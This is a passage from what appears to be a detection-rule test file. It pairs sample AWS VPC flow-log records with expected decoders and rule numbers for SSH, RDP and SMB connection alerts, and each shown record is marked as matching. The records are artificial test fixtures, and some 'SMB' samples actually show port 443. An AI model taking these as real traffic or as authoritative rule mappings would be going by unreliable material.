\"connection_info\": {\"protocol_num\": 6, \"tcp_flags\": 3, \"protocol_ver\": \"IPv4\", \"direction\": \"ingress\", \"boundary_id\": 0, \"boundary\": \"Unknown\", \"direction_id\": 1}, \"traffic\": {\"packets\": 13, \"bytes\": 1776}, \"time\": 1680282685000, \"start_time\": 1680282685000, \"end_time\": 1680282744000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az4", "connection_info.boundary": "Unknown", "connection_info.boundary_id": "0", "connection_info.direction": "ingress", "connection_info.direction_id": "1", "connection_info.protocol_num": "6", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "3", "dst_endpoint.instance_uid": "i-0d9e76e5b1c5e9074", "dst_endpoint.interface_uid": "eni-047062ec08692c9dc", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "172.31.17.20", "dst_endpoint.port": "22", "dst_endpoint.subnet_uid": "subnet-4023460d", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "vpc-f825c385", "end_time": "1680282744000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "null", "src_endpoint.interface_uid": "null", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "131.100.164.234", "src_endpoint.port": "44250", "src_endpoint.subnet_uid": "null", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "null", "start_time": "1680282685000.000000", "time": "1680282685000.000000", "traffic.bytes": "1776", "traffic.packets": "13", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99051", "level": "3", "expected_decoder": "json", "expected_rule": "99051", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC - SSH connection established dst."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az4\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 22, \"svc_name\": \"-\", \"ip\": \"172.31.17.20\", \"intermediate_ips\": null, \"interface_uid\": \"eni-047062ec08692c9dc\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-0d9e76e5b1c5e9074\", \"subnet_uid\": \"subnet-4023460d\"}, \"dst_endpoint\": {\"port\": 44360, \"svc_name\": \"-\", \"ip\": \"131.100.164.234\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"connection_info\": {\"protocol_num\": 6, \"tcp_flags\": 19, \"protocol_ver\": \"IPv4\", \"direction\": \"egress\", \"boundary_id\": 5, \"boundary\": \"Internet/VPC Gateway\", \"direction_id\": 2}, \"traffic\": {\"packets\": 11, \"bytes\": 2297}, \"time\": 1680282685000, \"start_time\": 1680282685000, \"end_time\": 1680282744000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az4", "connection_info.boundary": "Internet/VPC Gateway", "connection_info.boundary_id": "5", "connection_info.direction": "egress", "connection_info.direction_id": "2", "connection_info.protocol_num": "6", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "19", "dst_endpoint.instance_uid": "null", "dst_endpoint.interface_uid": "null", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "131.100.164.234", "dst_endpoint.port": "44360", "dst_endpoint.subnet_uid": "null", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "null", "end_time": "1680282744000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "i-0d9e76e5b1c5e9074", "src_endpoint.interface_uid": "eni-047062ec08692c9dc", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "172.31.17.20", "src_endpoint.port": "22", "src_endpoint.subnet_uid": "subnet-4023460d", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "vpc-f825c385", "start_time": "1680282685000.000000", "time": "1680282685000.000000", "traffic.bytes": "2297", "traffic.packets": "11", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99052", "level": "3", "expected_decoder": "json", "expected_rule": "99052", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC - SSH connection established src."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az2\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 59001, \"svc_name\": \"-\", \"ip\": \"192.3.136.82\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"dst_endpoint\": {\"port\": 3389, \"svc_name\": \"-\", \"ip\": \"172.31.94.2\", \"intermediate_ips\": null, \"interface_uid\": \"eni-03a9d41902b1a1035\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-08f69652bddf329c6\", \"subnet_uid\": \"subnet-cfa777ee\"}, \"connection_info\": {\"protocol_num\": 6, \"tcp_flags\": 2, \"protocol_ver\": \"IPv4\", \"direction\": \"ingress\", \"boundary_id\": 0, \"boundary\": \"Unknown\", \"direction_id\": 1}, \"traffic\": {\"packets\": 1, \"bytes\": 40}, \"time\": 1680280702000, \"start_time\": 1680280702000, \"end_time\": 1680280730000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az2", "connection_info.boundary": "Unknown", "connection_info.boundary_id": "0", "connection_info.direction": "ingress", "connection_info.direction_id": "1", "connection_info.protocol_num": "6", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "2", "dst_endpoint.instance_uid": "i-08f69652bddf329c6", "dst_endpoint.interface_uid": "eni-03a9d41902b1a1035", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "172.31.94.2", "dst_endpoint.port": "3389", "dst_endpoint.subnet_uid": "subnet-cfa777ee", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "vpc-f825c385", "end_time": "1680280730000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "null", "src_endpoint.interface_uid": "null", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "192.3.136.82", "src_endpoint.port": "59001", "src_endpoint.subnet_uid": "null", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "null", "start_time": "1680280702000.000000", "time": "1680280702000.000000", "traffic.bytes": "40", "traffic.packets": "1", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99053", "level": "3", "expected_decoder": "json", "expected_rule": "99053", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC - RDP connection established dst."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az2\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 3389, \"svc_name\": \"-\", \"ip\": \"172.31.94.2\", \"intermediate_ips\": null, \"interface_uid\": \"eni-03a9d41902b1a1035\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-08f69652bddf329c6\", \"subnet_uid\": \"subnet-cfa777ee\"}, \"dst_endpoint\": {\"port\": 59001, \"svc_name\": \"-\", \"ip\": \"192.3.136.82\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"connection_info\": {\"protocol_num\": 6, \"tcp_flags\": 4, \"protocol_ver\": \"IPv4\", \"direction\": \"egress\", \"boundary_id\": 11, \"boundary\": \"Internet Gateway\", \"direction_id\": 2}, \"traffic\": {\"packets\": 1, \"bytes\": 40}, \"time\": 1680280702000, \"start_time\": 1680280702000, \"end_time\": 1680280730000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az2", "connection_info.boundary": "Internet Gateway", "connection_info.boundary_id": "11", "connection_info.direction": "egress", "connection_info.direction_id": "2", "connection_info.protocol_num": "6", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "4", "dst_endpoint.instance_uid": "null", "dst_endpoint.interface_uid": "null", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "192.3.136.82", "dst_endpoint.port": "59001", "dst_endpoint.subnet_uid": "null", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "null", "end_time": "1680280730000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "i-08f69652bddf329c6", "src_endpoint.interface_uid": "eni-03a9d41902b1a1035", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "172.31.94.2", "src_endpoint.port": "3389", "src_endpoint.subnet_uid": "subnet-cfa777ee", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "vpc-f825c385", "start_time": "1680280702000.000000", "time": "1680280702000.000000", "traffic.bytes": "40", "traffic.packets": "1", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99054", "level": "3", "expected_decoder": "json", "expected_rule": "99054", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC - RDP connection established src."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az4\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 443, \"svc_name\": \"-\", \"ip\": \"216.239.36.21\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"dst_endpoint\": {\"port\": 54454, \"svc_name\": \"-\", \"ip\": \"172.31.17.20\", \"intermediate_ips\": null, \"interface_uid\": \"eni-047062ec08692c9dc\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-0d9e76e5b1c5e9074\", \"subnet_uid\": \"subnet-4023460d\"}, \"connection_info\": {\"protocol_num\": 6, \"tcp_flags\": 19, \"protocol_ver\": \"IPv4\", \"direction\": \"ingress\", \"boundary_id\": 0, \"boundary\": \"Unknown\", \"direction_id\": 1}, \"traffic\": {\"packets\": 12, \"bytes\": 5945}, \"time\": 1680275123000, \"start_time\": 1680275123000, \"end_time\": 1680275181000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az4", "connection_info.boundary": "Unknown", "connection_info.boundary_id": "0", "connection_info.direction": "ingress", "connection_info.direction_id": "1", "connection_info.protocol_num": "6", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "19", "dst_endpoint.instance_uid": "i-0d9e76e5b1c5e9074", "dst_endpoint.interface_uid": "eni-047062ec08692c9dc", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "172.31.17.20", "dst_endpoint.port": "54454", "dst_endpoint.subnet_uid": "subnet-4023460d", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "vpc-f825c385", "end_time": "1680275181000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "null", "src_endpoint.interface_uid": "null", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "216.239.36.21", "src_endpoint.port": "443", "src_endpoint.subnet_uid": "null", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "null", "start_time": "1680275123000.000000", "time": "1680275123000.000000", "traffic.bytes": "5945", "traffic.packets": "12", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99055", "level": "3", "expected_decoder": "json", "expected_rule": "99055", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC - SMB connection established dst."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az4\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 54454, \"svc_name\": \"-\", \"ip\": \"172.31.17.20\", \"intermediate_ips\": null, \"interface_uid\": \"eni-047062ec08692c9dc\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-0d9e76e5b1c5e9074\", \"subnet_uid\": \"subnet-4023460d\"}, \"dst_endpoint\": {\"port\": 443, \"svc_name\": \"-\", \"ip\": \"216.239.36.21\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"connection_info\": {\"protocol_num\": 6, \"tcp_flags\": 3, \"protocol_ver\": \"IPv4\", \"direction\": \"egress\", \"boundary_id\": 5, \"boundary\": \"Internet/VPC Gateway\", \"direction_id\": 2}, \"traffic\": {\"packets\": 14, \"bytes\": 6050}, \"time\": 1680275123000, \"start_time\": 1680275123000, \"end_time\": 1680275181000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az4", "connection_info.boundary": "Internet/VPC Gateway", "connection_info.boundary_id": "5", "connection_info.direction": "egress", "connection_info.direction_id": "2", "connection_info.protocol_num": "6", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "3", "dst_endpoint.instance_uid": "null", "dst_endpoint.interface_uid": "null", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "216.239.36.21", "dst_endpoint.port": "443", "dst_endpoint.subnet_uid": "null", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "null", "end_time": "1680275181000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "i-0d9e76e5b1c5e9074", "src_endpoint.interface_uid": "eni-047062ec08692c9dc", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "172.31.17.20", "src_endpoint.port": "54454", "src_endpoint.subnet_uid": "subnet-4023460d", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "vpc-f825c385", "start_time": "1680275123000.000000", "time": "1680275123000.000000", "traffic.bytes": "6050", "traffic.packets": "14", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99056", "level": "3", "expected_decoder": "json", "expected_rule": "99056", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC: SMB connection established src."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az4\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 123, \"svc_name\": \"-\", \"ip\": \"44.190.40.123\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"dst_endpoint\": {\"port\": 41354, \"svc_name\": \"-\", \"ip\": \"172.31.17.20\", \"intermediate_ips\": null, \"interface_uid\": \"eni-047062ec08692c9dc\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-0d9e76e5b1c5e9074\", \"subnet_uid\": \"subnet-4023460d\"}, \"connection_info\": {\"protocol_num\": 17, \"tcp_flags\": 0, \"protocol_ver\": \"IPv4\", \"direction\": \"ingress\", \"boundary_id\": 0, \"boundary\": \"Unknown\", \"direction_id\": 1}, \"traffic\": {\"packets\": 1, \"bytes\": 76}, \"time\": 1680290069000, \"start_time\": 1680290069000, \"end_time\": 1680290127000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az4", "connection_info.boundary": "Unknown", "connection_info.boundary_id": "0", "connection_info.direction": "ingress", "connection_info.direction_id": "1", "connection_info.protocol_num": "17", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "0", "dst_endpoint.instance_uid": "i-0d9e76e5b1c5e9074", "dst_endpoint.interface_uid": "eni-047062ec08692c9dc", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "172.31.17.20", "dst_endpoint.port": "41354", "dst_endpoint.subnet_uid": "subnet-4023460d", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "vpc-f825c385", "end_time": "1680290127000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "null", "src_endpoint.interface_uid": "null", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "44.190.40.123", "src_endpoint.port": "123", "src_endpoint.subnet_uid": "null", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "null", "start_time": "1680290069000.000000", "time": "1680290069000.000000", "traffic.bytes": "76", "traffic.packets": "1", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", 